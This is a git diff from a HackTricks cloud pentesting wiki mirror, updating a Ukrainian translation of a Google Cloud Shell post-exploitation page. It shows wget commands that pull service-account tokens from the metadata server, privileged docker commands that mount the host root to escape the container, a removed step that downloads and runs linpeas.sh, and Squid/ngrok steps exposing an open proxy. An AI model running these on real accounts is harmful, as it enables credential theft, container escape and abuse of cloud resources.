mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation
This commit is contained in:
@@ -10,40 +10,40 @@
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Container Escape
|
||||
### Отримання token користувача з metadata
|
||||
|
||||
Зверніть увагу, що Google Cloud Shell працює всередині контейнера — ви можете **достатньо легко вийти на хост**, виконавши:
|
||||
Просто отримавши доступ до metadata server, ви можете отримати token, щоб діяти від імені поточного увійшовшого користувача:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
```
|
||||
### Container Escape / Docker use
|
||||
|
||||
> [!WARNING]
|
||||
> Раніше cloud shell запускався в контейнері з доступом до docker socket хоста. Тепер Google змінила архітектуру, і контейнер cloud shell працює в конфігурації "Docker in a container". Тож навіть якщо можливо використовувати docker з cloud shell, ви не зможете escape to the host, використовуючи docker socket.
|
||||
> Зауважте, що раніше файл `docker.sock` знаходився в `/google/host/var/run/docker.sock`, але тепер його перемістили в `/run/docker.sock`.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
<summary>Docker use / Old container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
sudo docker -H unix:///run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock start escaper
|
||||
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
</details>
|
||||
|
||||
Це не вважається вразливістю з боку google, але дає ширше уявлення про те, що відбувається в цьому оточенні.
|
||||
|
||||
Крім того, зверніть увагу, що на хості можна знайти service account token:
|
||||
Крім того, раніше можна було знайти токен для service account, який використовувався cloud shell VM, на metadata server:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get service account from metadata</summary>
|
||||
<summary>Старий service account із metadata</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
</details>
|
||||
|
||||
З наступними scopes:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Отримати service account scopes</summary>
|
||||
З наступними областями доступу:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
</details>
|
||||
|
||||
Перелічити метадані за допомогою LinPEAS:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Перелічити метадані за допомогою LinPEAS</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
</details>
|
||||
|
||||
Після використання [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) з токеном Service Account **жодних дозволів не виявлено**...
|
||||
|
||||
### Використати як Proxy
|
||||
|
||||
Якщо ви хочете використовувати ваш google cloud shell екземпляр як proxy, вам потрібно виконати наступні команди (або вставити їх у файл .bashrc):
|
||||
Якщо ви хочете використати ваш google cloud shell instance як proxy, треба виконати такі команди (або вставити їх у файл .bashrc):
|
||||
|
||||
<details>
|
||||
|
||||
@@ -79,11 +67,11 @@ sudo apt install -y squid
|
||||
```
|
||||
</details>
|
||||
|
||||
Просто щоб ви знали, Squid is a http proxy server. Створіть файл **squid.conf** з наступними налаштуваннями:
|
||||
Для довідки, Squid — це http proxy server. Створіть файл **squid.conf** з такими налаштуваннями:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Створити файл squid.conf</summary>
|
||||
<summary>Create squid.conf file</summary>
|
||||
```bash
|
||||
http_port 3128
|
||||
cache_dir /var/cache/squid 100 16 256
|
||||
@@ -92,7 +80,7 @@ http_access allow all
|
||||
```
|
||||
</details>
|
||||
|
||||
Скопіюйте файл **squid.conf** до **/etc/squid**
|
||||
скопіюйте файл **squid.conf** до **/etc/squid**
|
||||
|
||||
<details>
|
||||
|
||||
@@ -102,29 +90,29 @@ sudo cp squid.conf /etc/squid
|
||||
```
|
||||
</details>
|
||||
|
||||
Нарешті запустіть службу Squid:
|
||||
Нарешті запустіть сервіс squid:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Запустіть службу Squid</summary>
|
||||
<summary>Запустіть сервіс squid</summary>
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
</details>
|
||||
|
||||
Використайте ngrok, щоб зробити proxy доступним ззовні:
|
||||
Використовуйте ngrok, щоб зробити proxy доступним зовні:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Зробити proxy доступним через ngrok</summary>
|
||||
<summary>Відкрити proxy через ngrok</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
Після запуску скопіюйте tcp:// url. Якщо ви хочете запускати proxy з браузера, рекомендується видалити частину tcp:// і номер порту та ввести порт у полі port у налаштуваннях proxy вашого браузера (squid is a http proxy server).
|
||||
Після запуску скопіюйте tcp:// url. Якщо ви хочете запускати proxy з браузера, рекомендується видалити частину tcp:// і порт та вказати порт у полі портів у налаштуваннях проксі вашого браузера (squid — це http proxy server).
|
||||
|
||||
Для зручнішого використання під час старту файл .bashrc повинен містити такі рядки:
|
||||
Для зручнішого використання при старті файл .bashrc має містити такі рядки:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
Інструкції були скопійовані з [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Перегляньте цю сторінку для інших божевільних ідей щодо запуску будь-якого програмного забезпечення (баз даних і навіть windows) у Cloud Shell.
|
||||
Інструкції були скопійовані з [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Перегляньте цю сторінку для інших божевільних ідей щодо запуску будь-якого програмного забезпечення (баз даних і навіть Windows) у Cloud Shell.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user